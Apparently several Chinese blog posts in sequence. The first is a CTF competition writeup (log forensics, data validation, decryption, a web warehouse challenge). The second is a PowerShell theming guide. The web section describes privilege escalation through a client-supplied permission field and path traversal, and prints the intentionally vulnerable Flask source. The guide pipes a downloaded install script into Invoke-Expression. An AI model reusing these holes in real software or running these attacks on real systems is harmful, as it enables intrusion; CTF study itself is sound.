5(0.3927) [8, 6, 5], # 6.bmp: 8(0.6195), 6(0.3053), 5(0.0751) [7, 8, 1, 9, 0, 2], # 7.bmp: 7(0.5370), 8(0.4267) [8, 3, 5], # 8.bmp: 8(0.8916) [8, 9], # 9.bmp: 8(0.5110), 9(0.4890) [9, 4, 7], # 10.bmp: 9(0.9950) [0, 8, 6, 3], # 11.bmp: 0(0.5646), 8(0.4350) [8, 5, 2], # 12.bmp: 8(0.8498) [5] # 13.bmp: 5(0.9871) ] # 生成所有可能的组合 def generate_combinations(): # 对于每个位置,按置信度从高到低排序候选数字 ordered_candidates = [] for pos in candidates: ordered_candidates.append(pos) # 生成所有可能的组合 return product(*ordered_candidates) # 检查flag是否正确 def check_flag(flag_str): final_flag = "dart{" + str(uuid.uuid3(uuid.UUID('11341600-1542-4ee8-b148-23940f18186b'), flag_str)) + "}" if hashlib.sha256(final_flag.encode("utf8")).hexdigest() == "115159c751ddf16c527ee96f998ed55ed8a3302f2fd04ba60682493883901684": print("找到正确flag!") print("正确flag:", final_flag) return True return False # 爆破函数 def brute_force(): total = 1 for c in candidates: total *= len(c) print(f"总共有 {total} 种可能的组合") tried = 0 for combo in generate_combinations(): tried += 1 flag_str = ''.join(map(str, combo)) # 每10000次尝试打印一次进度 if tried % 10000 == 0: print(f"已尝试 {tried}/{total} 组合, 当前尝试: {flag_str}") if check_flag(flag_str): return print("未找到匹配的flag") if __name__ == "__main__": brute_force() 最后得到flag dart{2855dc9b-b8c2-3c82-86d9-6afa9111b715} 咕咕咕 剩下的有空再写 总结 这次主要还是凸显了几个不足的地方吧,首先是工具不够,本来就是线下赛没有网的我们还没有提前下好 bkcrack 这种工具;其次还是经验太少了,对于 Windows 的域渗透取证,我们还是没就接触过,虽然以前做过 Windows 的取证,但那个不是域的,所以是经验太少了。 说实话,比赛的后半程有点坐牢,因为我们在努力找取证题的答案,但是找不到,很难受 不知道到底进多少个队,据说是 19 个,如果是 19 个的话我们能进决赛,等通知了

2025/3/25
articleCard.readMore

【Volcania】2025 数字创新中国大赛数字安全赛道时空数据安全赛题暨三明市第五届“红名谷”杯大赛初赛 Writeup

MISC 异常行为溯源 | @Luminoria @Ron 某企业网络安全部门人员正在对企业网络资产受到的攻击行为进行溯源分析,该工作人员发现攻击者删除了一段时间内的访问日志数据,但是攻击者曾传输过已被删除的访问日志数据并且被流量监控设备捕获,工作人员对流量数据进行了初步过滤并提取出了相应数据包。已知该攻击者在开始时曾尝试低密度的攻击,发现未被相关安全人员及时发现后进行了连续多日的攻击,请协助企业排查并定位攻击者IP,flag格式为:flag{md5(IP)} 出现了三种协议:TCP、giFT 和 X11 只把 TCP 提取出来的 log 并不完整,缺少了很多东西,giFT 数据量太少且不具有参考价值 但是可以看到数据的格式 最开始是经过 Base64 编码的内容,例如 1 eyJtc2ciOiJNemt1TVRrekxqWTJMakkwTlMwZ0xTQmJNRGd2U21GdUx6SXdNalU2TVRrNk5EUTZOVGtnS3pBd01EQmRJQ0pIUlZRZ0wyRndjQzlzYVhOMExuQm9jQ0JJVkZSUUx6RXVNU0lnTWpBd0lETTBOek1nSWkwaUlDSlBjR1Z5WVM4NUxqWTRMaWhZTVRFN0lFeHBiblY0SUdrMk9EWTdJR2xrTFVsRUtTQlFjbVZ6ZEc4dk1pNDVMakUzT0NCV1pYSnphVzl1THpFeExqQXdJZ289IiwidHlwZSI6IkxvZy1EYXRhIn0= 经过解码后是 json 1 {"msg":"MzkuMTkzLjY2LjI0NS0gLSBbMDgvSmFuLzIwMjU6MTk6NDQ6NTkgKzAwMDBdICJHRVQgL2FwcC9saXN0LnBocCBIVFRQLzEuMSIgMjAwIDM0NzMgIi0iICJPcGVyYS85LjY4LihYMTE7IExpbnV4IGk2ODY7IGlkLUlEKSBQcmVzdG8vMi45LjE3OCBWZXJzaW9uLzExLjAwIgo=","type":"Log-Data"} 发现 msg 字段也是 base64 编码内容,解码得到 1 39.193.66.245- - [08/Jan/2025:19:44:59 +0000] "GET /app/list.php HTTP/1.1" 200 3473 "-" "Opera/9.68.(X11; Linux i686; id-ID) Presto/2.9.178 Version/11.00" 所以我们可以得知数据流的格式应该为 1 base64.b64encode(json.dump({"msg": base64.b64encode("RAW_HTTP_LOG"), "type": "Log-Data"})) 重点应该在 X11 协议的数据,通过 Python 写个脚本提取一下 1 2 3 4 5 6 7 8 9 10 11 12 13 from scapy.all import rdpcap, Raw packets = rdpcap("network_traffic.pcap") count = 0 with open("output.bin", "wb") as f: for pkt in packets: count += 1 print(f"extracting...{count}",end='\r') if Raw in pkt: f.write(pkt[Raw].load) f.write(b'\n') else: print(f"err when extract pkg {count}") 在用赛博厨子来提取一下(菜谱如下) 1 https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Regular_expression('User%20defined','%7B%22msg%22:%22(.*?)%22,%22type%22:%22Log-Data%22%7D',true,false,false,false,false,false,'List%20capture%20groups')From_Base64('A-Za-z0-9%2B/%3D',true,false) 得到日志文件,可以看到有一个很明显的日志 1 35.127.46.111 - - [09/Jan/2025:16:10:55 +0000] "POST /config_update.php HTTP/1.1" 200 3677 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows 98; Win 9x 4.90; Trident/3.1)" 访问的是关键路径 config_update.php 而且进行了多次访问同一路径,符合题目中描述的攻击,得到 IP 为 35.127.46.111 再 MD5 一下,得到最后的 flag 为 flag{475ed6d7f74f586fb265f52eb42039b6} 数据校验 | @Luminoria 某平台发现部分用户的信息不满足平台的数据合规要求,现让你来协助分析平台用户数据。 请将所有不合规数据的序列号按照从小到大的顺序用 _ 连接后MD5并包上 flag{} 提交。例如,不合规的数据序列号为6、38、1680,则连接后为 6_38_1680 ,flag为 flag{1ffcb6d1c2108cd54a7743a6f91a289a} 数据清洗题目,从题目提供的 PDF 可以得到校验规则 用户名 username 格式必须为 User- +字符串 UserName_Check 为用户名的32位小写 MD5 值 Password 密码只能出现大小写字母和数字 Password_Check 为密码的32为小写 MD5 值 IP 为用户的 IP 地址 Signature 用户签名值,对用户名采用 ECDSA 算法进行数字签名 所以用 Python 写个脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import hashlib import string import re from ecdsa import SigningKey, BadSignatureError, VerifyingKey from tqdm import tqdm import base64 wrong_data = [] with open("数据校验/data.csv") as f: for line in tqdm(f.readlines()): serial, username, namecheck, passwd, passcheck, ip, sign = line.split(",") if serial == "Serial_Number": continue # 检验用户名格式 if not username.startswith("User-"): wrong_data.append(serial) print(f"{serial} 用户名不合规!") continue # 检验用户名 md5 if hashlib.md5(username.encode()).hexdigest() != namecheck: wrong_data.append(serial) print(f"{serial} 用户名校验失败!") continue # 检验密码是否存在非法字符 for char in passwd: pass_wrong = 0 if char not in string.ascii_letters + string.digits: wrong_data.append(serial) pass_wrong = 1 break if pass_wrong: print(f"{serial} 密码存在非法字符!") continue # 检验密码 md5 if hashlib.md5(passwd.encode()).hexdigest() != passcheck: wrong_data.append(serial) print(f"{serial} 密码校验失败!") continue # 检验 IP 地址格式 if not re.match(r"^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$", ip): wrong_data.append(serial) print(f"{serial} IP 地址格式错误!") continue # 校验签名 vk = VerifyingKey.from_pem(open(f"数据校验/ecdsa-key/{serial}.pem", "rt").read()) try: # 将 Base64 编码的签名解码为字节 signature_bytes = base64.b64decode(sign) # 验证签名,默认使用 SHA-1 vk.verify(signature_bytes, username.encode()) except BadSignatureError: print(f"{serial} 签名校验失败!") wrong_data.append(serial) except ValueError as e: print(f"{serial} 签名解码失败!错误:{e}") wrong_data.append(serial) print("_".join(wrong_data)) with open("数据校验/output.txt", "wt") as f: f.write("_".join(wrong_data)) 得到数据不合格的用户连接起来后为 4604_13960_20213_22586_29216_33270_40123_42949_45567 他们的问题分别是 4604 用户名不合规! 13960 用户名不合规! 20213 用户名校验失败! 22586 用户名校验失败! 29216 密码存在非法字符! 33270 密码校验失败! 40123 IP 地址格式错误! 42949 IP 地址格式错误! 45567 签名校验失败! 再经过 MD5 计算得到 flag{6ba2c3dd58a321f8b75e75ecc2e06663} Strange Database | @Luminoria | 未出 企业的数据库信息和密钥在传输过程中被截获了,请分析以下数据并获取flag. 给了一堆 sqlite3 的数据库文件和经过 OAEP 加密过后的 RSA 私钥 写个脚本提取一下数据库,便于后面处理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import os import sqlite3 import pandas as pd from glob import glob DB_FOLDER = "./database" OUTPUT_FOLDER = "data" os.makedirs(OUTPUT_FOLDER, exist_ok=True) db_files = glob(os.path.join(DB_FOLDER, "*.db")) for db_file in db_files: try: # 连接数据库 conn = sqlite3.connect(db_file) cursor = conn.cursor() # 获取数据库名称(去掉路径和后缀) db_name = os.path.splitext(os.path.basename(db_file))[0] # 为当前数据库创建一个子文件夹存放 CSV db_output_folder = os.path.join(OUTPUT_FOLDER, db_name) os.makedirs(db_output_folder, exist_ok=True) # 获取数据库中的所有表 cursor.execute("SELECT name FROM sqlite_master WHERE type='table';") tables = cursor.fetchall() for table in tables: table_name = table[0] try: # 读取表数据 df = pd.read_sql_query(f"SELECT * FROM {table_name};", conn) # 保存为 CSV csv_file = os.path.join(db_output_folder, f"{table_name}.csv") df.to_csv(csv_file, index=False, encoding="utf-8-sig") print(f"已导出: {csv_file}") except Exception as table_error: print(f"导出表 {table_name} 失败: {table_error}") # 关闭数据库连接 conn.close() except Exception as e: print(f"处理数据库 {db_file} 时出错: {e}") 然后再写个脚本来解密一下(注:文件名中有私钥的密码) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from cryptography.hazmat.primitives.asymmetric import padding from cryptography.hazmat.primitives import serialization, hashes import base64 import glob import os from tqdm import tqdm KEY_FOLDER = "key" PLAIN_DATA_FOLDER = "data" KEYS = sorted(glob.glob(f"{KEY_FOLDER}/*.pem"), key=lambda x: int(x.split("-")[1])) DATA_FILES = sorted( glob.glob(f"{PLAIN_DATA_FOLDER}/database-*/accounts.csv"), key=lambda x: int(os.path.basename(os.path.dirname(x)).split("-")[1]), ) all_data = [] # 所有数据 data_chunk = [] # 分块数据 remarks = open("output/remarks.txt", "wt") def decrypt_data(data: str, key_file: str) -> str: # 读取私钥 with open(key_file, "rb") as f: private_key = serialization.load_pem_private_key( f.read(), password=key_file.split("-")[-1].replace(".pem", "").encode(), ) # Base64 解码 encrypted_data = base64.b64decode(data) # 解密 decrypted_data = private_key.decrypt( encrypted_data, padding.OAEP( mgf=padding.MGF1(algorithm=hashes.SHA1()), algorithm=hashes.SHA1(), label=None, ), ) return decrypted_data.decode() if __name__ == "__main__": for i in tqdm(range(0, 500)): # 表示数据索引 with open(DATA_FILES[i]) as f: data = f.readlines()[1:] # 跳过首行 file_data = [] for line in data: line_data = [] splited_data = line.split(",") for idx in range(5): # 表示列索引 if idx == 1: line_data.append(splited_data[idx]) continue decrypted_data = decrypt_data(splited_data[idx], str(KEYS[i])) line_data.append(decrypted_data) if len(all_data) != i + 1: all_data.append([]) if idx == 4: remarks.write(decrypted_data) all_data.append(",".join(line_data)) file_data.append(",".join(line_data)) with open(f"output/{i}.csv", "w") as f: f.write("\n".join(file_data)) with open(f"output/all.csv", "a") as f: f.write("\n".join(all_data[1:])) 然后可以导出看到数据,但是搜关键词找不到,想到可能在 remark 列里面的内容会藏有 flag,于是提取出来,发现还是没有 flag 那好吧,这分确实拿不到 =-= Web | @Rusty 简单的仓库 一个简单的仓库系统,但是你会用他吗? 目录扫描 1 2 3 4 5 6 7 8 Target: http://eci-2zefyydc0iza52rh6cjw.cloudeci1.ichunqiu.com/ [11:12:48] Starting: [11:13:11] 500 - 290B - /download/history.csv [11:13:11] 500 - 290B - /download/users.csv [11:13:17] 200 - 2KB - /login [11:13:25] 200 - 2KB - /register [11:13:31] 405 - 178B - /upload 充值时发现修改权限等级可以实现直接充值 1 {"amount":"999999","username":"rusty","permission":"admin"} user改为admin可以发现hint,知道了flag的路径 发现/api/files显示目录有路径穿越 发现用户名是在file目录下分别有目录的,最后通过user实现路径穿越得到flag 补充 附上题目源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 import shutil from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory from flask_sqlalchemy import SQLAlchemy from werkzeug.utils import secure_filename import os import re app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(64) app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///warehouse.db' app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False db = SQLAlchemy(app) class User(db.Model): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(10), unique=True, nullable=False) password = db.Column(db.String(20), nullable=False) permission = db.Column(db.String(10), nullable=False, default='guest') balance = db.Column(db.Integer, nullable=False, default=0) def __init__(self, username, password, permission="guest"): self.username = username self.password = password self.permission = permission self.balance = 0 @app.before_first_request def create_tables(): if os.path.exists('warehouse'): shutil.rmtree('warehouse') os.makedirs('warehouse/admin') with open('warehouse/admin/readme.txt', 'w', encoding='utf-8') as f: f.write('/var/tmp/flag.txt') if os.path.exists('warehouse.db'): os.remove('warehouse.db') db.create_all() user = User(username="admin", password="NeverLoginMe!hhh", permission="admin") db.session.add(user) db.session.commit() def validate_input(text): return bool(re.match('^[a-zA-Z0-9]{4,10}$', text)) @app.route('/') def index(): return redirect(url_for('login')) @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') if not validate_input(username) or not validate_input(password): return render_template('register.html', error='用户名和密码必须是4-10位的字母数字组合') if User.query.filter_by(username=username).first(): return render_template('register.html', error='用户名已存在') user = User(username=username, password=password) db.session.add(user) db.session.commit() user_dir = os.path.join('warehouse', username) os.makedirs(user_dir) with open(os.path.join(user_dir, '使用小仓库开通vip请联系admin充值.txt'), 'w', encoding='utf-8') as f: f.write('欢迎使用小仓库') with open(os.path.join(user_dir, 'readme.txt'), 'w', encoding='utf-8') as f: f.write('欢迎使用小仓库') return redirect(url_for('login')) return render_template('register.html') @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') if not validate_input(username) or not validate_input(password): return render_template('login.html', error='用户名和密码必须是4-10位的字母数字组合') user = User.query.filter_by(username=username, password=password).first() if user: session['user'] = username return redirect(url_for('warehouse')) return render_template('login.html', error='用户名或密码错误') return render_template('login.html') @app.route('/warehouse') def warehouse(): if 'user' not in session: return redirect(url_for('login')) user = User.query.filter_by(username=session['user']).first() if not user: session.clear() return redirect(url_for('login')) return render_template('warehouse.html', username=user.username, permission=user.permission, balance=user.balance) @app.route('/upload', methods=['POST']) def upload(): if 'user' not in session: return '权限不足', 403 user = User.query.filter_by(username=session['user']).first() if not user: session.clear() return redirect(url_for('login')) if user.permission not in ['vip', 'admin']: session.clear() return redirect(url_for('login', error="错误,你不是vip")) if 'file' not in request.files: return redirect(url_for('warehouse')) path = request.args.get('path', session['user']) if path != user.username: return '权限不足,只有管理员能对其他用户的仓库进行上传或下载', 403 file = request.files['file'] if file.filename == '': return redirect(url_for('warehouse')) filename = secure_filename(file.filename) file.save(os.path.join('warehouse', path, filename)) return redirect(url_for('warehouse')) @app.route('/download/<filename>') def download(filename): user = User.query.filter_by(username=session['user']).first() if not user: session.clear() return redirect(url_for('login')) if user.permission not in ['vip', 'admin']: session.clear() return '权限错误或不足', 403 target_user = request.args.get('user', session['user']) return send_from_directory(os.path.join('warehouse', target_user), filename) @app.route('/logout') def logout(): session.clear() return redirect(url_for('login')) @app.route('/api/files', methods=['POST']) def get_files(): if 'user' not in session: return {'error': '权限不足'}, 403 user = User.query.filter_by(username=session['user']).first() if not user: session.clear() return redirect(url_for('login')) if user.permission not in ['guest', 'vip', 'admin']: session.clear() return {'error': '权限错误'}, 403 data = request.get_json() target_user = data.get('path', session['user']) base_dir = os.path.join('warehouse', target_user) if not os.path.exists(base_dir) or not os.path.isdir(base_dir): return {'error': '目录不存在'}, 404 files = os.listdir(base_dir) return {'files': files} @app.route('/api/recharge', methods=['POST']) def recharge(): if 'user' not in session: return {'error': '未登录'}, 403 data = request.get_json() amount = data.get('amount') target_user = data.get('username') user_permission = data.get('permission') if not amount or not amount.isdigit() or int(amount) <= 0: return {'error': '充值金额无效'}, 400 amount = int(amount) user = User.query.filter_by(username=target_user).first() if not user: return {'error': '用户不存在'}, 404 if user_permission not in ['guest', 'vip', 'admin']: return {'error': '拒绝访问'}, 403 if user_permission == 'admin': user.balance += amount db.session.commit() return {'message': f'充值成功,当前余额: {user.balance}'} else: return {'message': '充值请求已提交,等待管理员审核'} @app.route('/api/upgrade', methods=['POST']) def upgrade_to_vip(): if 'user' not in session: return {'error': '未登录'}, 403 user = User.query.filter_by(username=session['user']).first() if not user: return {'error': '用户不存在'}, 404 if user.balance < 99999: return {'error': '余额不足,无法开通VIP'}, 400 user.balance -= 99999 user.permission = 'vip' db.session.commit() session['permission'] = 'vip' return {'message': 'VIP开通成功!'} if __name__ == '__main__': app.run(debug=True,host="0.0.0.0", port=5000)

2025/3/22
articleCard.readMore

美化我的 Windows Powershell 全纪录

这,是Windows Terminal下的Powershell 在每天的coding中,我都要与它打交道,久而久之,我发现它有点单调,于是我萌生了美化它的想法 前置条件 Powershell 7+(必须) https://github.com/PowerShell/PowerShell/releases/ Powershell 的设置中允许用户运行脚本(必须) 使用Set-ExecutionPolicy来进行设置,后面跟着级别(例如RemoteSigned、unrestricted)等,可以加-user来只对本用户进行修改 Windows Terminal(Win11自带,Win10必须) scoop(可选) 备份 在做美化之前,我强烈建议你进行一次备份,直接搜索创建还原点然后根据按钮提示进行备份就可以了 安装scoop(可选) 使用这条命令安装scoop 1 Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://get.scoop.sh') 如果遇到错误提示,请检查是否进行了Set-ExecutionPolicy 安装过程的提示应该是这样的 1 2 3 4 5 6 7 PS C:\Users\GamerNoTitle> Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://get.scoop.sh') Initializing... Downloading... Creating shim... Adding ~\scoop\shims to your path. Scoop was installed successfully! Type 'scoop help' for instructions. 到这里就安装完毕了,输入scoop会弹出它的使用提示 安装所需要的字体(可选) 不一定要用本文提到的这两种 Nerd Fonts,建议挑一个自己喜欢的 安装 Meslo Nerd Fonts 这是网上大多数 Powershell 美化攻略都推荐的字体,我个人不是很喜欢,你可以尝试一下,如果不喜欢,可以往下看看别的 因为会有特殊字体的需求,所以我需要把它们先提前装好,我直接用 scoop 安装的 nerd-fonts 如果你没有特殊图标字体的需求,可以不装的 1 2 scoop bucket add nerd-fonts scoop install Meslo-NF-Mono# 这里需要管理员权限 如果你像我下图这样遇到了网络问题,记得打开TUN模式 安装完了以后,我们需要在Windows Terminal的设置中,把默认字体从Cascadia Mono改成MesloLGS Nerd Font Mono(或同系列其他字体) 安装 CaskaydiaMono Nerd Font 因为个人感觉 Meslo Nerd Fonts 实在是太细了,我还是喜欢原来 Terminal 自带的那个字体,于是我就去找其他的 Nerd Font,然后找到了这个,感觉比较符合我的胃口 下载链接:https://github.com/ryanoasis/nerd-fonts/releases/download/v3.3.0/CascadiaMono.zip 直接按照平常装字体那么安装就行了,然后在字体选择里面选择它就可以了 其他 Nerd Font 来这里挑吧:https://www.nerdfonts.com/font-downloads 安装 oh-my-posh 可以去微软商店装 https://apps.microsoft.com/detail/xp8k0hkjfrxgck?hl=en-us&gl=US 或者直接从 Github 下载 MSI 安装包 Releases · JanDeDobbeleer/oh-my-posh 安装好后,如果你装了 scoop,建议再安装一个 posh-git 1 2 3 scoop bucket add extras scoop install posh-git Add-PoshGitToProfile 如果本机没有7-zip,它会自动装一个(依赖) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 PS C:\Users\GamerNoTitle> scoop install posh-git WARN Purging previous failed installation of 7zip. ERROR '7zip' isn't installed correctly. Removing older version (24.09). '7zip' was uninstalled. Installing '7zip' (24.09) [64bit] from 'main' bucket 7z2409-x64.msi (1.9 MB) [=========================================================================] 100% Checking hash of 7z2409-x64.msi ... ok. Extracting 7z2409-x64.msi ... done. Linking ~\scoop\apps\7zip\current => ~\scoop\apps\7zip\24.09 Creating shim for '7z'. Creating shim for '7zFM'. Making C:\Users\GamerNoTitle\scoop\shims\7zfm.exe a GUI binary. Creating shim for '7zG'. Making C:\Users\GamerNoTitle\scoop\shims\7zg.exe a GUI binary. Creating shortcut for 7-Zip (7zFM.exe) Persisting Codecs Persisting Formats Running post_install script...done. '7zip' (24.09) was installed successfully! Notes ----- Add 7-Zip as a context menu option by running: "C:\Users\GamerNoTitle\scoop\apps\7zip\current\install-context.reg" Installing 'posh-git' (1.1.0) [64bit] from 'extras' bucket posh-git.1.1.0.nupkg (44.3 KB) [==================================================================] 100% Checking hash of posh-git.1.1.0.nupkg ... ok. Extracting posh-git.1.1.0.nupkg ... done. Running pre_install script...done. Linking ~\scoop\apps\posh-git\current => ~\scoop\apps\posh-git\1.1.0 Adding ~\scoop\modules to your PowerShell module path. Installing PowerShell module 'posh-git' Linking ~\scoop\modules\posh-git => ~\scoop\apps\posh-git\current 'posh-git' (1.1.0) was installed successfully! 启用 oh-my-posh 使用下面的命令来加载 oh-my-posh 1 oh-my-posh init pwsh | Invoke-Expression 此时就会发现终端已经大变样了 可以去 oh-my-posh 的网站看看各种各样的主题,挑一个自己喜欢的 Themes | Oh My Posh 这里放上几个我觉得还不错的主题名称 1 2 3 4 5 6 blueish catppuccin easy-term gmay if_tea Tokyo 你需要使用这样的命令来使得 oh-my-posh 每次都被加载(你需要把theme换成你喜欢的主题名称) 1 oh-my-posh init pwsh --config 'C:\Users\GamerNoTitle\AppData\Local\Programs\oh-my-posh\themes\<theme>.omp.json' | Invoke-Expression 这行命令需要写在 $PROFILE 里面,可以直接 notepad $PROFILE 或者 code $PROFILE 打开这个配置文件,写进去就好了,例如我用的主题是easy-term,就写作oh-my-posh init pwsh --config "$env:POSH_THEMES_PATH/easy-term.omp.json" | Invoke-Expression 再次打开Powershell,就会发现它确实已经加载了自己的配置文件了 安装文件图标模块(可选) 我想要让我的Terminal自动根据文件类型显示图标,这个时候我们需要安装Terminal-Icons(需要安装Nerd Fonts) 这里我采用 scoop 安装:scoop install terminal-icons 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ╭─  🏠  ~  | RAM: 24/31GB ⌛ 462ms ⏰ 17:56:13  ╰─ scoop install terminal-icons Installing 'terminal-icons' (0.11.0) [64bit] from 'extras' bucket terminal-icons.0.11.0.nupkg (124.5 KB) [======================================================================] 100% Checking hash of terminal-icons.0.11.0.nupkg ... ok. Extracting terminal-icons.0.11.0.nupkg ... done. Running pre_install script...done. Linking ~\scoop\apps\terminal-icons\current => ~\scoop\apps\terminal-icons\0.11.0 Installing PowerShell module 'Terminal-Icons' Linking ~\scoop\modules\Terminal-Icons => ~\scoop\apps\terminal-icons\current 'terminal-icons' (0.11.0) was installed successfully! Notes ----- Use the module by running: 'Import-Module Terminal-Icons' Add it to your $PROFILE to make it permanent A Nerd Font is required for this module to work 同样,我们需要把配置写进 $PROFILE 里面,直接加上这一行 1 Import-Module -Name Terminal-Icons 然后跑 ls 或者 dir 就能够看到图标了 总结 最后我换了张图,顺带换了个配色方案,这样看起来就很协调了 其实玩这个美化还有一个原因就是我昨天给我的 Ubuntu Live Server 装了 zsh,然后就想着把 Windows 也弄一下,弄出来的结果挺不错的,应该能在我的电脑坚持比较久的时间吧(俗话说美化的尽头是默认) 芙芙可爱捏~最后放上方案合集 配色方案:One Half Dark 字体:CaskaydiaMono Nerd Font 背景图:自己去下 https://t.me/DohnaNyan/9471 背景不透明度:30% 其他保留默认 $PROFILE内容 1 2 oh-my-posh init pwsh --config "$env:POSH_THEMES_PATH/easy-term.omp.json" | Invoke-Expression Import-Module -Name Terminal-Icons 更改过的easy-term内容(添加了Python的venv显示,效果看下图,覆盖了 C:\Users\%username%\AppData\Local\Programs\oh-my-posh\themes\easy-term.omp.json) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 { "$schema": "https://raw.githubusercontent.com/JanDeDobbeleer/oh-my-posh/main/themes/schema.json", "blocks": [ { "alignment": "left", "newline": true, "segments": [ { "background": "#0c7bbb", "foreground": "#ffffff", "leading_diamond": "\u256d\u2500\ue0b2", "properties": { "alpine": "\uf300", "arch": "\uf303", "centos": "\uf304", "debian": "\uf306", "elementary": "\uf309", "fedora": "\uf30a", "gentoo": "\uf30d", "linux": "\ue712", "macos": "\ue711", "manjaro": "\uf312", "mint": "\uf30f", "opensuse": "\uf314", "raspbian": "\uf315", "ubuntu": "\uf31c", "windows": "\ue70f" }, "style": "diamond", "template": " {{ if .WSL }}\ue712 on {{ end }}{{ .Icon }} ", "type": "os" }, { "background": "#DA627D", "foreground": "#ffffff", "powerline_symbol": "\ue0b0", "style": "diamond", "template": " 🏠 ", "type": "text" }, { "background": "#8a62da", "foreground": "#ffffff", "powerline_symbol": "\ue0b0", "properties": { "style": "folder" }, "style": "powerline", "template": " {{ .Path }} ", "type": "path" }, { "background": "#191f48", "foreground": "#43CCEA", "style": "powerline", "powerline_symbol": "\ue0b0", "foreground_templates": [ "{{ if or (.Working.Changed) (.Staging.Changed) }}#FF9248{{ end }}", "{{ if and (gt .Ahead 0) (gt .Behind 0) }}#ff4500{{ end }}", "{{ if gt .Ahead 0 }}#B388FF{{ end }}", "{{ if gt .Behind 0 }}#B388FF{{ end }}" ], "properties": { "branch_template": "{{ trunc 25 .Branch }}", "fetch_stash_count": true, "fetch_status": true, "fetch_upstream_icon": true }, "template": " {{ .UpstreamIcon }}{{ .HEAD }}{{if .BranchStatus }} {{ .BranchStatus }}{{ end }}{{ if .Working.Changed }} \uf044 {{ .Working.String }}{{ end }}{{ if and (.Working.Changed) (.Staging.Changed) }} |{{ end }}{{ if .Staging.Changed }} \uf046 {{ .Staging.String }}{{ end }}{{ if gt .StashCount 0 }} \ueb4b {{ .StashCount }}{{ end }} ", "trailing_diamond": "\ue0b4", "type": "git" } ], "type": "prompt" }, { "alignment": "right", "segments": [ { "foreground": "#81ff91", "style": "diamond", "template": "<#cc7eda> \u007C </><#7eb8da>RAM:</> {{ (div ((sub .PhysicalTotalMemory .PhysicalAvailableMemory)|float64) 1073741824.0) }}/{{ (div .PhysicalTotalMemory 1073741824.0) }}GB", "type": "sysinfo" }, { "foreground": "#81ff91", "properties": { "fetch_version": true }, "style": "powerline", "template": "<#cc7eda> \u007C </><#7eb8da>\ue718</> {{ if .PackageManagerIcon }}{{ .PackageManagerIcon }} {{ end }}{{ .Full }}", "type": "node" }, { "type": "php", "style": "powerline", "foreground": "#81ff91", "template": "<#cc7eda> \u007C </><#7eb8da>\ue73d</> {{ .Full }}" }, { "type": "npm", "style": "powerline", "foreground": "#81ff91", "template": "<#cc7eda> \u007C </><#7eb8da>\ue71e </> {{ .Full }}" }, { "type": "python", "style": "powerline", "foreground": "#81ff91", "properties": { "fetch_virtual_env": true, "fetch_version": true }, "template": "{{ if .Venv }}<#cc7eda> \u007C </><#7eb8da>\ue73c</> {{ .Env.VIRTUAL_ENV | base }} ({{ .Full }}){{ end }}" }, { "type": "sysinfo", "style": "powerline", "foreground": "#81ff91", "template": "<> </>" }, { "background": "#cecece", "foreground": "#4b4b4b", "leading_diamond": "\ue0b2", "trailing_diamond": "\ue0b0", "properties": { "style": "austin", "threshold": 150 }, "style": "diamond", "template": "⌛ {{ .FormattedMs }} ", "type": "executiontime" }, { "background": "#cecece", "foreground": "#4b4b4b", "leading_diamond": "\ue0b2", "properties": { "time_format": "15:04:05" }, "style": "diamond", "template": "⏰ {{ .CurrentDate | date .Format }} ", "trailing_diamond": "\ue0b0", "type": "time" } ], "type": "prompt" }, { 